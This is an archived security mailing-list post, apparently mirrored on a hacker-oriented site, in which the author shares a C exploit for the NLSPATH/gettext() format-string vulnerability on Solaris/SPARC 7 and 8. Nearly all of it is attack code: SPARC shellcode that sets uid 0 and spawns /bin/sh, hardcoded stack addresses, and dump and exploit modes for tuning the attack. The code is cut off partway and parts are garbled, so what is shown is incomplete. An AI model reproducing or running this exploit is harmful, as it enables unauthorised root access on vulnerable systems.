NETSYS.COM - The Intelligent Hacker's Choice - http://www.netsys.com/library/solaris/solaris_at.txtThe Intelligent Hacker's Choice.. Systems, Networks, Administration.. since 1977 >>>> advertisement Hi all, I am sorry for loosely checking In fact, Sun has the patch before I found this....:p Here is the exploit... -- Huang-Yu Wang hank@aimsecurity.net -- /* NLSPATH, gettext() vulnerable on Solaris/SPARC 7, 8 by Hank Wang 1. use dump mode to dump memory 2. alignment of shellcode and command arguments 3. get the address of shellcode and stack skip 4. return address location is top address - 0x10 5. run exploit mode with parameters */ #include #define SHADDR 0xFFBEFF6C #define RETLOC 0xFFBEF5BC #define SKIP 607 #define NOP "\x92\x12\x40\x09" unsigned long shellcode[]= { // setuid 0 0x901a4009, // xor %o1, %o1, %o0 0x82102017, // mov 0x17, %g1 0x91d02008, // ta 8 // dup2 0x90102002, // mov 2,%o0 0x94102001, // mov 1,%o2 0x92102009, // mov 9,%o1 0x8210203e, // mov 0x3e,%g1 0x91d02008, // ta 8 // execve /bin/sh 0x9422800a, // sub %o2, %o2, %o2 0x9023a008, // sub %sp, 8, %o0 0x210bd89a, // sethi %hi(0x2f626800), %l0 0xa014216e, // or %l0, 0x16e, %l0 0xe023bff8, // st %l0, [ %sp + -8 ] 0x210bdcda, // sethi %hi(0x2f736800), %l0 0xe023bffc, // st %l0, [ %sp + -4 ] 0x9223a010, // sub %sp, 0x10, %o1 0xd023bff0, // st %o0, [ %sp + -16 ] 0xc023bff4, // clr [ %sp + -12 ] 0x8210203b, // mov 0x3b, %g1 0x91d02008, // ta 8 0x00000000 }; int dump=0, exploit=0; int shpad=0, argpad=2, skip=SKIP; unsigned long shaddr=SHADDR, retloc=RETLOC; void usage(char *prog) { printf("%s [dump|exploit] [parameters]\n", prog); printf("parameters:\n"); printf("\t--skip=\n"); printf("\t--argpad=: alignment of command args\n"); printf("\t--shpad=: alignment of shellcode\n"); printf("\t--shaddr=\n"); printf("\t--retloc=\n"); exit(0); } int mygetopt(int argc, char **argv) { int i; if(!strncmp(argv[1], "dump", 4)) { dump=1; } else if (!strncmp(argv[1], "exploit", 4)) { exploit=1; } else { return -1; } for(i=2; i> 16) - hw; sprintf(pattern, "%%0%dx", first); for(i=0; i